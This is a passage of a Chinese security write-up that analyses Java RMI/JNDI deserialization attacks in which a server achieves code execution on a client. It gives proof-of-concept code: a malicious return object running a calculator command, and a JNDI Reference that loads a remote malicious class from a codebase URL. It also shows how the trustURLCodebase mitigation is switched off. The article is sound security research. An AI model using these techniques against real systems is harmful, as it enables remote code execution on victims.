- </blockquote></div><p><span tabindex="-1" contenteditable="false" data-cke-widget-wrapper="1" data-cke-filter="off" class="cke_widget_wrapper cke_widget_inline cke_widget_image cke_image_nocaption cke_widget_selected" data-cke-display-name="图像" data-cke-widget-id="12" role="region" aria-label=" 图像 小部件"><img data-cke-saved-src="https://img-blog.csdnimg.cn/img_convert/2e96a4d55411c3937d7f4455b5bef658.png" src="https://img-blog.csdnimg.cn/img_convert/2e96a4d55411c3937d7f4455b5bef658.png" data-cke-widget-data="{"hasCaption":false,"src":"https://mmbiz.qpic.cn/sz_mmbiz_png/H6W1QCHf9dG3IRIwCQwibhggQLyM5Fp50P9EK1y9fFZVvLaQhWkZE2J6KpYCzg9vrF4gTZibMON9ib1PS4NT6LBRw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1","alt":"","width":"","height":"","lock":true,"align":"none","classes":[]}" data-cke-widget-upcasted="1" data-cke-widget-keep-attr="0" data-widget="image" class="cke_widget_element" alt=""><span class="cke_reset cke_widget_drag_handler_container" style="background: url("https://csdnimg.cn/release/blog_editor_html/release1.6.19/ckeditor/plugins/widget/images/handle.png") rgba(220, 220, 220, 0.5); top: -15px; left: 0px; display: block;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" width="15" title="点击并拖拽以移动" height="15" role="presentation" draggable="true"></span><span class="cke_image_resizer" title="点击并拖拽以改变尺寸"></span></span></p><p>
- </p><h1><strong>0x04 服务端攻击客户端</strong></h1><hr><h2>
- </h2><p>分析完了客户端对服务端的攻击,我们来看一下 服务端对客户端的攻击,根据第二章RMI流程源码分析我们看到了,服务端如果想要攻击客户端,那么利用点就存在客户端反序列话服务端的返回值的时候。这时候需要将环境稍微修改一下。</p><p>其实很简单,先修改服务端的代码,我们将IHello接口中sayHello方法需要的参数删除,然后将返回值类型由String修改成Person类型。</p><div class="blockcode"><blockquote>
- package com.rmitest.inter;
- import com.rmitest.impl.Person;
- import java.rmi.Remote;
- import java.rmi.RemoteException;
- public interface IHello extends Remote {
- public Person sayHello()throws RemoteException;
- }
复制代码 HelloImpl也根据接口的要求进行修改- package com.rmitest.impl;
- import com.rmitest.inter.IHello;
- import com.rmitest.weakclass.Weakness;
- import java.rmi.RemoteException;
- import java.rmi.server.UnicastRemoteObject;
- public class HelloImpl extends UnicastRemoteObject implements IHello {
- public HelloImpl() throws RemoteException {
- }
- @Override
- public Person sayHello() {
- Weakness weakness = new Weakness();
- weakness.setParam("open /Applications/Calculator.app");
- weakness.setName("hack");
- return weakness;
- }
- }
复制代码
同客户端攻击服务端时一样,只不过这次变成了服务端这边的Weakness类需要继承Person类了。 然后客户端这边就修改完毕。 然后我们来修改rmiregistry这边的代码,同样先修改IHello接口,然后我们需要将Person类拷贝到rmiregistry这边,不过一般在生产环境中,rmiregistry和服务端一般都是在同一台机器统一个项目文件里,所以服务端可以访问的类rmiregistry同样也可以。 紧接着就是就该客户端这边的代码,同理Weakness类不再继承Person
- public class RMICustomer {
- public static void main(String[] args) throws RemoteException, NotBoundException {
- IHello hello = (IHello) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("Hello");
- Person person = hello.sayHello();
-
- }
- }
复制代码 如此一来就可以实现通过服务端去攻击客户端
根据之前的分析客户端在远程方法的调用过程中会在UnicastRef.invoke方法中对服务端返回的数据进行反序列化,看一下调用链
如此一来服务端通过RMI攻击客户端的方式也就清晰了。
0x05 服务端攻击客户端 2
上一小节讲述的服务端攻击客户端的方式是通过返回值来进行操作的,这样的话利用面比较狭窄,那么有没有一种特别通用的利用方式呢?让客户端在lookup一个远程方法的时候能直接造成RCE,事实证明是有的。
这里就要讲到一个特别的类javax.naming.Reference,下面是该类的官方注释
- /**
- * This class represents a reference to an object that is found outside of
- * the naming/directory system.
- *<p>
- * Reference provides a way of recording address information about
- * objects which themselves are not directly bound to the naming/directory system.
- *<p>
- * A Reference consists of an ordered list of addresses and class information
- * about the object being referenced.
- * Each address in the list identifies a communications endpoint
- * for the same conceptual object. The "communications endpoint"
- * is information that indicates how to contact the object. It could
- * be, for example, a network address, a location in memory on the
- * local machine, another process on the same machine, etc.
- * The order of the addresses in the list may be of significance
- * to object factories that interpret the reference.
- *<p>
- * Multiple addresses may arise for
- * various reasons, such as replication or the object offering interfaces
- * over more than one communication mechanism. The addresses are indexed
- * starting with zero.
- *<p>
- * A Reference also contains information to assist in creating an instance
- * of the object to which this Reference refers. It contains the class name
- * of that object, and the class name and location of the factory to be used
- * to create the object.
- * The class factory location is a space-separated list of URLs representing
- * the class path used to load the factory. When the factory class (or
- * any class or resource upon which it depends) needs to be loaded,
- * each URL is used (in order) to attempt to load the class.
- *<p>
- * A Reference instance is not synchronized against concurrent access by multiple
- * threads. Threads that need to access a single Reference concurrently should
- * synchronize amongst themselves and provide the necessary locking.
- *
- * @author Rosanna Lee
- * @author Scott Seligman
- *
- * @see RefAddr
- * @see StringRefAddr
- * @see BinaryRefAddr
- * @since 1.3
- */
复制代码简单解释下该类的作用就是记录一个远程对象的位置,然后服务端将实例化好的Reference类通过bind方法注册到rmiregistry上,然后客户端通过rmiregistry返回的Stub信息找到服务端并调用该Reference对象,Reference对象通过URLClassloader将记录在Reference对象中的Class从远程地址上加载到本地,从而触发恶意类中的静态代码块,导致RCE 我们使用JDK 7u21作为环境来进行该利用方式的深入分析 首先看下服务端的代码
- public class RMIProvider {
- public static void main(String[] args) throws RemoteException, AlreadyBoundException, NamingException {
- //TODO 把resources下的Calc.class 或者 自定义修改编译后target目录下的Calc.class 拷贝到下面代码所示http://host:port的web服务器根目录即可
- Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/");
- ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
- //尝试使用JNDI的API来bind,但是会报错
- // Context context = new InitialContext();
- // context.bind("refObj", refObjWrapper);
- Registry registry = LocateRegistry.getRegistry(1099);
- registry.bind("refObj", refObjWrapper);
- }
- }
复制代码可以看到在实例化Reference对象的时候会传递三个参数进去,这三个参数分别是 className 包含此引用所引用的对象的类的全限定名。(ps: 就是恶意类的类名或者全限定类名,经过测试该参数不是必须,为空也行,关键在于第二个参数 也就是classFactory) classFactory 包含用于创建此引用所引用的对象的实例的工厂类的名称。初始化为零。(ps: 第二个参数很重要 一定要写恶意类的全限定类名) classFactoryLocation 包含工厂类的位置。初始化为零。(ps: 也就是恶意类存放的远程地址) 接下来就来跟入源码看一看
- public Reference(String className) {
- this.className = className;
- addrs = new Vector();
- }
- ........
- public Reference(String className, String factory, String factoryLocation) {
- this(className);
- classFactory = factory;
- classFactoryLocation = factoryLocation;
- }
复制代码实例化Reference期间就只进行以上这些操作 实例化ReferenceWrapper的时候同样只进行了简单的赋值操作
- public ReferenceWrapper(Reference var1) throws NamingException, RemoteException {
- this.wrappee = var1;
- }
复制代码 接下来就是通过调用bind方法来将ReferenceWrapper对象注册到rmiregistry中。客户端bind Reference过程结束接下来看rmiregistry这边
这里呢因为 jdk7u21 和 jdk 8u20两个版本在调试的时候无法在RegistryImpl_Skel的dispatch方法上拦截断点所以 暂时采用jdk 8u221版本来进行演示
同绑定一个正常的远程对像的差别不大只不过绑定一个正常的远程对象的时候,rmiregistry反序列化服务端传递来的结果是这样的
而绑定Reference的时候rmiregistry反序列化服务端传递来的结果是这样的
可以看到最终注册完成后,二者的区别
普通的远程对象是以一个Proxy对象的形式存在,Reference则是以ReferenceWrapper_Stub对象的形式存在
接下来来看客户端调用Reference这个远程对象的过程,客户端的代码演示环境为jdk 8u20
首先看下客户端的代码
- public class RMICustomer {
- public static void main(String[] args) throws NamingException {
- //使用JNDI的方式来lookup远程对象
- new InitialContext().lookup("rmi://127.0.0.1:1099/refObj");
- }
- }
复制代码其实jndi的InitialContext().lookup() 底层和rmi自己的LocateRegistry.getRegistry().lookup()一样都是调用了RegistryImpl_Stub.lookup()方法但是jndi在此基础上又做了自己的封装,例如在处理rmiregistry返回的ReferenceWrapper_stub对象时,二者的处理方式就不相同。 rmi无法处理ReferenceWrapper_stub对象,而jndi在接收了rmiregistry返回的ReferenceWrapper_stub对象后,结束当前lookup方法,在其上一层的lookup方法中也就是RegistryContext.lookup()方法里会对返回的ReferenceWrapper_stub进行处理 来观察下RegistryContext.lookup()方法的具体内容
- public Object lookup(Name var1) throws NamingException {
- if (var1.isEmpty()) {
- return new RegistryContext(this);
- } else {
- Remote var2;
- try {
- //调用RegistryImpl_Stub.lookup()方法
- var2 = this.registry.lookup(var1.get(0));
- } catch (NotBoundException var4) {
- throw new NameNotFoundException(var1.get(0));
- } catch (RemoteException var5) {
- throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
- }
- //反序列化的ReferenceWrapper_stub对象在该方法中被处理
- return this.decodeObject(var2, var1.getPrefix(1));
- }
- }
复制代码接下来再跟进decodeObject()方法之后
- private Object decodeObject(Remote var1, Name var2) throws NamingException {
- try {
- //判断返回的ReferenceWrapper_stub是否是RemoteReference的子类,结果为真,返回ReferenceWrapper_stub中的Reference对象
- Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
- //接着对Reference对象进行操作
- return NamingManager.getObjectInstance(var3, var2, this, this.environment);
- } catch (NamingException var5) {
复制代码NamingManager.getObjectInstance()方法就是处理Reference对像并导致RCE的关键了
- public static Object
- getObjectInstance(Object refInfo, Name name, Context nameCtx,
- Hashtable<?,?> environment)
- throws Exception
- {
- ObjectFactory factory;
- ......
- //判断并接收Reference对象
- Reference ref = null;
- if (refInfo instanceof Reference) {
- ref = (Reference) refInfo;
- } else if (refInfo instanceof Referenceable) {
- ref = ((Referenceable)(refInfo)).getReference();
- }
- Object answer;
- if (ref != null) {
- String f = ref.getFactoryClassName();
- if (f != null) {
- // if reference identifies a factory, use exclusively
- // 这里会将Reference对象传入并且同时传入全限定类名
- factory = getObjectFactoryFromReference(ref, f);
- if (factory != null) {
- return factory.getObjectInstance(ref, name, nameCtx,
- environment);
- }
- // No factory found, so return original refInfo.
- // Will reach this point if factory class is not in
- // class path and reference does not contain a URL for it
- return refInfo;
- } else {
- // if reference has no factory, check for addresses
- // containing URLs
- answer = processURLAddrs(ref, name, nameCtx, environment);
- if (answer != null) {
- return answer;
- }
- }
- }
- // try using any specified factories
- answer =
- createObjectFromFactories(refInfo, name, nameCtx, environment);
- return (answer != null) ? answer : refInfo;
- }
复制代码根据观察NamingManager.getObjectInstance()方法的内部实现,关键代码在于这一段 factory = getObjectFactoryFromReference(ref, f); 跟进getObjectFactoryFromReference方法,
- static ObjectFactory getObjectFactoryFromReference(
- Reference ref, String factoryName)
- throws IllegalAccessException,
- InstantiationException,
- MalformedURLException {
- Class<?> clas = null;
- // Try to use current class loader
- try {
- //首先会尝试使用AppClassloder从本地加载恶意类,当然肯定是失败的
- clas = helper.loadClass(factoryName);
- } catch (ClassNotFoundException e) {
- // ignore and continue
- // e.printStackTrace();
- }
- // All other exceptions are passed up.
- // Not in class path; try to use codebase
- String codebase;
- if (clas == null &&
- //获取codebase地址
- (codebase = ref.getFactoryClassLocation()) != null) {
- try {
- //该方法内会实例化一个URlClassloader 并从codebase中的地址中的位置去请求并加载恶意类
- clas = helper.loadClass(factoryName, codebase);
- } catch (ClassNotFoundException e) {
- }
- }
- return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
- }
复制代码可以看到真正负责从远程地址加载恶意类的是第二次的helper.loadClass(factoryName, codebase) 该方法的具体实现如下
- public Class<?> loadClass(String className, String codebase)
- throws ClassNotFoundException, MalformedURLException {
- //获取当前上下文的Classloader 也就是AppClassloader
- ClassLoader parent = getContextClassLoader();
- //实例化一个URLClassloader
- ClassLoader cl =
- URLClassLoader.newInstance(getUrlArray(codebase), parent);
- //去远程加载恶意类
- return loadClass(className, cl);
- }
复制代码这就是服务端攻击客户端的另一种方式,虽然本质上还是有rmi去访问rmiregistry获取的Reference对象,但是由于JNDI对rmi进行了又一次的封装导致两者对Reference对象的处理不一样,所以客户端只有在使用JNDI提供的方法去访问rmiregistry获取的Reference对象时才会触发RCE。 这个方法看上去好像很通用,在jdk 8u121版本之前确实如此,但是在jdk 8u121版本以及之后的版本中,此方法默认情况下就不再可用了,因为从jdk 8u121版本开始 增加了对com.sun.jndi.rmi.object.trustURLCodebase的值的校验,而该值默认为false,所以默认情况下想要通过Reference对象来远程加载恶意类的想法是行不通了, 我们来看一下jdk 8u121版本究竟为了防止远程加载恶意类做了哪些改动 首先在还没有通过rmi去到rmiregistry获取Reference对象之前,在RegistryContext这个类被加载的时候就执行了以下的静态代码
- static {
- PrivilegedAction var0 = () -> {
- return System.getProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");
- };
- String var1 = (String)AccessController.doPrivileged(var0);
- trustURLCodebase = "true".equalsIgnoreCase(var1);
- }
复制代码
可以看到这里获取了com.sun.jndi.rmi.object.trustURLCodebase默认值为false 然后当执行进decodeObject()方法,并且准备执行NamingManager.getObjectInstance()方法之前多了以下判断
- if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
- throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
- } else {
- return NamingManager.getObjectInstance(var3, var2, this, this.environment);
- }
复制代码就是判断了com.sun.jndi.rmi.object.trustURLCodebase的值,由于该值为false所以就会跑出异常中止执行 想要jdk 8u121版本能够正常远程加载就去要加上以下代码
- System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
复制代码这样就能又正常的RCE了 但是在JDK 8u191及以后的版本中客户端lookup以前加上上面的代码之后,从新执行会发现不报错了,但是仍然无法RCE,这是为什么呢,我们继续跟着源码往下看 在通过了RegistryContext中对com.sun.jndi.rmi.object.trustURLCodebase的判断并执行了NamingManager.getObjectInstance()方法之后,一路正常执行来到了关键的实例化URLClassloader并远程加载恶意类的最后一步,然后你就会发现这里变了
- public Class<?> loadClass(String className, String codebase)
- throws ClassNotFoundException, MalformedURLException {
- //此处有增加了一个对trustURLCodebase属性的一个判断,这个trustURLCodebase属性和RegistryContext类
- //中的trustURLCodebase属性完全不同
- if ("true".equalsIgnoreCase(trustURLCodebase)) {
- ClassLoader parent = getContextClassLoader();
- ClassLoader cl =
- URLClassLoader.newInstance(getUrlArray(codebase), parent);
- return loadClass(className, cl);
- } else {
- return null;
- }
- }
复制代码
我们来看下这个trustURLCodebase的值究竟是怎么获取的
- private static final String TRUST_URL_CODEBASE_PROPERTY =
- "com.sun.jndi.ldap.object.trustURLCodebase";
- private static final String trustURLCodebase =
- AccessController.doPrivileged(
- new PrivilegedAction<String>() {
- public String run() {
- try {
- return System.getProperty(TRUST_URL_CODEBASE_PROPERTY,
- "false");
- } catch (SecurityException e) {
- return "false";
- }
- }
- );
复制代码
|